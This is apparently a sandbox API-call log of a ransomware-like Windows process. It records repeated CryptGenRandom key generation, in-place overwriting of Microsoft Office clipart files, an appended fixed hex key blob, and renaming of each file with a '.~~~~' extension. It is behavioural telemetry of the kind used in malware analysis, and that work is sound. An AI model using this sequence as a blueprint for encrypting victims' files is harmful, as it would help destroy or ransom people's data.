	[0104.151] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0104.153] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.153] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.153] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22414311093) returned 1
	[0104.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7c29fb0, dwHighDateTime=0x1d60e1e)) 
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28b9dc8
	[0104.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b9dc8 | out: hHeap=0x300000) returned 1
	[0104.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867e98
	[0104.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.154] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0104.154] GetLastError () returned 0x0
	[0104.155] GetLastError () returned 0x0
	[0104.155] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0104.155] GetLastError () returned 0x0
	[0104.155] GetLastError () returned 0x0
	[0104.294] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8d08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.294] WriteFile (in: hFile=0x11c, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x72f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x26dfec0*=0x72f8, lpOverlapped=0x0) returned 1
	[0104.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.298] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.298] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.298] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.298] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.299] CloseHandle (hObject=0x11c) returned 1
	[0104.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.~~~~")) returned 1
	[0104.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.604] GetLastError () returned 0x0
	[0104.815] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0104.846] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.846] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.847] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22483682468) returned 1
	[0104.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa82b5c30, dwHighDateTime=0x1d60e1e)) 
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c870
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c870 | out: hHeap=0x300000) returned 1
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a228
	[0104.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.848] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0104.848] GetLastError () returned 0x0
	[0104.848] GetLastError () returned 0x0
	[0104.848] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0104.848] GetLastError () returned 0x0
	[0104.848] GetLastError () returned 0x0
	[0104.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdffc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.855] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2004, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x2004, lpOverlapped=0x0) returned 1
	[0104.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0104.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.857] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.857] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.857] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.857] CloseHandle (hObject=0x130) returned 1
	[0104.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.~~~~")) returned 1
	[0104.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.858] GetLastError () returned 0x0
	[0104.860] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0104.862] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.862] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.862] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22485199168) returned 1
	[0104.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa82dbd90, dwHighDateTime=0x1d60e1e)) 
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c8e0
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c8e0 | out: hHeap=0x300000) returned 1
	[0104.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869648
	[0104.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.863] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0104.863] GetLastError () returned 0x0
	[0104.863] GetLastError () returned 0x0
	[0104.863] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0104.863] GetLastError () returned 0x0
	[0104.864] GetLastError () returned 0x0
	[0104.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff5106, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.867] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xaefa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0xaefa, lpOverlapped=0x0) returned 1
	[0104.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0104.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.869] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.869] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.869] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.870] CloseHandle (hObject=0x130) returned 1
	[0104.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.~~~~")) returned 1
	[0104.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.976] GetLastError () returned 0x0
	[0105.014] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2941768) returned 1
	[0105.015] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.015] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0105.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.015] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22500543100) returned 1
	[0105.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8458b50, dwHighDateTime=0x1d60e1e)) 
	[0105.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cb80
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cb80 | out: hHeap=0x300000) returned 1
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896158
	[0105.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a9e0
	[0105.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896158 | out: hHeap=0x300000) returned 1
	[0105.016] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.016] GetLastError () returned 0x0
	[0105.017] GetLastError () returned 0x0
	[0105.017] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.017] GetLastError () returned 0x0
	[0105.017] GetLastError () returned 0x0
	[0105.020] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9f24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.020] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x60dc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x60dc, lpOverlapped=0x0) returned 1
	[0105.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.026] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.026] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.027] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.027] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.027] CloseHandle (hObject=0x144) returned 1
	[0105.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.~~~~")) returned 1
	[0105.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.071] GetLastError () returned 0x0
	[0105.074] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.076] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.076] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22506639973) returned 1
	[0105.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa84f10d0, dwHighDateTime=0x1d60e1e)) 
	[0105.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce08
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce08 | out: hHeap=0x300000) returned 1
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a948
	[0105.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.077] GetLastError () returned 0x0
	[0105.077] GetLastError () returned 0x0
	[0105.078] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.078] GetLastError () returned 0x0
	[0105.078] GetLastError () returned 0x0
	[0105.083] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff752a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.084] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x8ad6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x8ad6, lpOverlapped=0x0) returned 1
	[0105.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.086] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.086] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.086] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.086] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.086] CloseHandle (hObject=0x144) returned 1
	[0105.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.087] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.~~~~")) returned 1
